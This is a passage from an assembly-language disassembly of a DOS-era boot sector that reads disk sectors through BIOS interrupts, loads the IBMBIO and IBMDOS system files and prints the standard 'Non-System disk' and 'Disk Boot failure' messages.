ds,ax mov es,ax mov si,data_0176e mov di,data_0178e mov cx,18h rep movsb ; Rep when cx >0 Mov [si] to es:[di] ;* mov di,offset loc_0081 ;* db 0BFh, 00h, 7Eh push di retn db 32h,0E4h,0CDh, 13h loc_0069: jc loc_0070 ; Jump if carry Set xor dx,dx ; Zero register mov cx,1 mov bx,data_0164e mov ax,201h int 13h ; Disk dl=drive a ah=func 02h ; read sectors to memory es:bx ; al=#,ch=cyl,cl=sectr,dh=head loc_0070: ;* mov bx,offset loc_0076 ;* db 0BBh, 00h, 7Ch push bx retn sub al,7Ch ; '|' mov ds:data_0175e,ax mov bx,700h loc_0071: mov ax,ds:data_0171e call sub_0018 mov ax,ds:data_0167e sub al,ds:data_0173e inc ax push ax call sub_0019 pop ax jc loc_0069 ; Jump if carry Set sub ds:data_0174e,al jbe loc_0072 ; Jump if below or = add ds:data_0171e,ax mul word ptr ds:data_0165e ; ax = data * ax add bx,ax jmp short loc_0071 loc_0072: mov ch,ds:data_0166e mov dl,ds:data_0169e mov bx,ds:data_0175e ;* jmp far ptr loc_0001 ;* db 0EAh, 00h, 00h, 70h, 00h loc_0073: lodsb ; String [si] to al or al,al ; Zero ? jz loc_ret_0074 ; Jump if zero mov ah,0Eh mov bx,7 int 10h ; Video display ah=functn 0Eh ; write char al, teletype mode jmp short loc_0073 ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_0018 proc near xor dx,dx ; Zero register div word ptr ds:data_0167e ; ax,dxrem=dx:ax/data inc dl mov ds:data_0173e,dl xor dx,dx ; Zero register div word ptr ds:data_0168e ; ax,dxrem=dx:ax/data mov byte ptr ds:data_0169e+1,dl mov ds:data_0172e,ax loc_ret_0074: retn sub_0018 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_0019 proc near mov ah,2 mov dx,ds:data_0172e mov cl,6 shl dh,cl ; Shift w/zeros fill or dh,ds:data_0173e mov cx,dx xchg ch,cl mov dx,ds:data_0169e int 13h ; Disk dl=drive a ah=func 02h ; read sectors to memory es:bx ; al=#,ch=cyl,cl=sectr,dh=head retn sub_0019 endp db 0Dh, 0Ah, 'Non-System disk or dis' db 'k error', 0Dh, 0Ah, 'Replace and' db ' strike any key when ready', 0Dh db 0Ah, 0 db 0Dh, 0Ah, 'Disk Boot failure', 0Dh db 0Ah, 0 db 'IBMBIO COMIBMDOS COM' db 42 dup (0) db 55h,0AAh seg_a ends end start